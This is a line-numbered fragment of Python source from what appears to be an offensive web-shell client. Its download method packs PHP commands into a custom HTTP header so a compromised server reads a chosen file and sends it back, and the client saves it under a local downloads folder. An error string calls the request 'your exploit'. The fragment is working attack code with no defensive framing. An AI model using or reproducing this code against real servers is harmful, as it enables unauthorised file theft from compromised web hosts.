(self, options: str)
| 186 | @brief See base class for details. |
| 187 | """ |
| 188 | def _Base__download(self, options: str): |
| 189 | if len(options) == 0: |
| 190 | raise CommandException("Specify a file to download.") |
| 191 | |
| 192 | url = f"{self.host}{self.path}" |
| 193 | if not self.host.startswith("http"): |
| 194 | url = "http://" + url |
| 195 | try: |
| 196 | message = (f"chdir('{self.directory}');" |
| 197 | f"file_exists('{options}') or exit();" |
| 198 | f"header('{self.header}: Done.');" |
| 199 | f"header('Content-Length: ' . filesize('{options}'));" |
| 200 | f"ob_clean();flush();readfile('{options}');exit();") |
| 201 | print("Downloading file...") |
| 202 | response = requests.request( |
| 203 | self.method, |
| 204 | url, |
| 205 | headers={ f"{self.header}": message } |
| 206 | ) |
| 207 | data = response.content |
| 208 | if not response.ok: |
| 209 | raise Exception() |
| 210 | if not self.header in response.headers: |
| 211 | raise CommandException( |
| 212 | f"No message sent back from server, your exploit is " |
| 213 | f"probably being filtered by a firewall.") |
| 214 | path = Path('downloads/' + Path(options).name) |
| 215 | path.parent.mkdir(parents=True, exist_ok=True) |
| 216 | with open(path, "wb") as bin_file: |
| 217 | bin_file.write(data) |
| 218 | |
| 219 | print(response.headers[self.header]) |
| 220 | except: |
| 221 | raise CommandException(f"Could not download file.") |
| 222 | |
| 223 | """ |
| 224 | @brief See base class for details. |
nothing calls this directly
no test coverage detected